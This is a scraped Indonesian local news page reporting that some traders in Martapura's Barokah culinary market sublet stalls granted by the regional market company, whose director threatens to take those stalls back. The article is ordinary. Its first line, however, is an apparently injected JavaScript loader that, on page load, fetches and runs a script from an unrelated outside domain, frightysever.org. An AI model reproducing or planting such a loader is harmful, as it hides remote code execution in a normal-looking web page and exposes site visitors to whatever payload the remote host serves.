(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PD Pasar ‘Kecolongan’, Oknum Pedagang Ambil Untung Sewakan Kembali Los Jualan


MARTAPURA, Perusahaan Daerah (PD) Pasar Bauntung Batuah ‘kecolongan’ di pasar kuliner barokah Martapura, hanya disewakan kepada pedagang yang sudah terdaftar, ternyata ada oknum pedagang yang berani ambil untung dengan menyewakan kepada pihak lain alias pedagang ketiga.

Sejatinya selama satu tahun tempat berjualan tersebut digratiskan, namun tersiar kabar dugaan ada beberapa oknum pedagang nakal yang menyewakan kembali warung kepada orang lain. Padahal saat awal pembukaan hanya isi 18 pedagang pasar kuliner setelah pembongkaran tahap pertama selesai.

Menanggapi adanya oknum pedagang nakal yang kembali menyewakan tempat dagangan mereka sendiri di pasar kuliner Barokah Martapura, Direktur PD Pasar Bauntung Batuah Martapura, Rusdiansyah mengatakan, sebelumnya para pedagang sudah melengkapi berkas penempatan dari pasar kuliner CBS Martapura, diantarnya surat pernyataan diatas meterai tidak boleh menyewakan kepada pihak lainnya.

“Para pedagang menyerahkan surat pernyataan di atas meterai 6000, adapun isi pernyataan itu diantaranya bersedia tidak menyewakan kembali tempat dagangannya. Jadi para pedagang itu mestinya mengerti aturan dan perjanjian-perjanjian itu,” ujarnya.

Masih menurut Rusdi, hingga sekarang pihaknya memang mendengar adanya dugaan oknum pedagang nakal yang menyewakan tempat berjualan tersebut kepada pihak lain. Dalam waktu dekat, ia bersama tim akan menelusuri kebenaran penyewaan pasar kuliner barokah tersebut.

“Kitakan sudah ada komitmen dengan para pedagang, tempat itu tidak boleh disewakan kembali dengan alasan apapun. Adapun pedagang disitu merupakan pedagang jalan Sukaramai Martapura yang masuk dalam penataan sebelumnya. Jadi siapa jua pun, apabila ada pedangang yang tidak mentaati ketentuan tersebut akan kami tindak tegas, semua itu demi kebaikan pasar,” bebernya.

Lalu apakah ada sanksi, menurut Rusdiansyah kemungkinan terbesar bagi pedagang yang nakal los tempat berjualan akan diambil PD Pasar. “Akan kami ambil alih dan akan kami berikan kepada pedagang lain yang memerlukan,” tegasnya.

Sementara dalam penentuan nilai sewa toko/warung di pasar kuliner tersebut, berdasarkan pertimbangan yang ada sudah dinilai sangat murah. Jika dibandingkan dengan tempat yang lain jauh lebih murah, mengingat dilengkapi dengan berbagai fasilitas yang sangat memadai bagi para pedagang sendiri.

“Fasilitas pasar yang luasnya 2,5×3 meter itu, kita sewakan Rp580 ribu pebulan. Itu sudah termasuk keamanan, kebersihan dan lain-lain,” pungkasnya. (rendy)

Reporter: Rendy
Editor: Bie

Desy Arfianty

Recent Posts

Akhir Masa Tugas, Pjs Wali Kota Nurliani Membuka Acara Kesehatan

KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More

38 menit ago

Kembali Tak Datang, KPK Sebut Peluang Jemput Paksa Paman Birin

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More

47 menit ago

Pemegang Kursi DPRD Banjarbaru Terima Bantuan Keuangan Parpol, Satu Suara Dihargai Rp14 Ribu

KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More

2 jam ago

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

13 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

15 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

16 jam ago

This website uses cookies.